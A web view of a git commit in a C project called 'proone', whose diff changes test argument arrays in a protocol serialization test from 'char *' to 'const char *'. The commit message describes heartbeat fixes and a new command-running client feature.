diff options
author | David Timber <mieabby@gmail.com> | 2021-07-14 11:06:56 +1000 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-07-14 11:06:56 +1000 |
commit | 5c70a63e02ae26bdfae14444d91f5f96bf74f505 (patch) | |
tree | 53fc063013b915ae0cec032d50e038ea11b2c3fd /src/proone-test_proto.c | |
parent | 035df3be909e1c2509814f870c2d10edfa23576d (diff) |
Impl proone-htbtclient, htbt bugfixes ...
* htbt
* Fix stdout-stderr round-robin sending algo in htbt_relay_child()
* Fix logic error and crash bug in htbt_slv_srv_bin()
* Impl proone-htbtclient runcmd command
* Change signature of prne_htbt_set_cmd()
Diffstat (limited to 'src/proone-test_proto.c')
-rw-r--r-- | src/proone-test_proto.c | 12 |
1 files changed, 6 insertions, 6 deletions
diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c index 5f61a32..e8c0ef8 100644 --- a/src/proone-test_proto.c +++ b/src/proone-test_proto.c @@ -38,7 +38,7 @@ static void test_ser (void) { static size_t cred_data_len = 0; static prne_htbt_host_info_t hi_a, hi_b; static prne_htbt_cmd_t cmd_a, cmd_b; - static char *test_args[] = { + static const char *test_args[] = { "sudo", "systemctl", "enable", @@ -48,10 +48,10 @@ static void test_ser (void) { }; static char test_args_mem[] = "\x00\x2Bsudo\0systemctl\0enable\0--now\0NetworkManager"; - static char *empty_args[] = { + static const char *empty_args[] = { NULL }; - static char *long_args[] = { + static const char *long_args[] = { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", @@ -69,7 +69,7 @@ static void test_ser (void) { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL }; - static char *too_long_args[] = { + static const char *too_long_args[] = { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", @@ -88,7 +88,7 @@ static void test_ser (void) { "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", NULL }; - static char *long_mem_args[] = { + static const char *long_mem_args[] = { "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", @@ -122,7 +122,7 @@ static void test_ser (void) { "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123456", NULL }; - static char *too_long_mem_args[] = { + static const char *too_long_mem_args[] = { "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", "123", |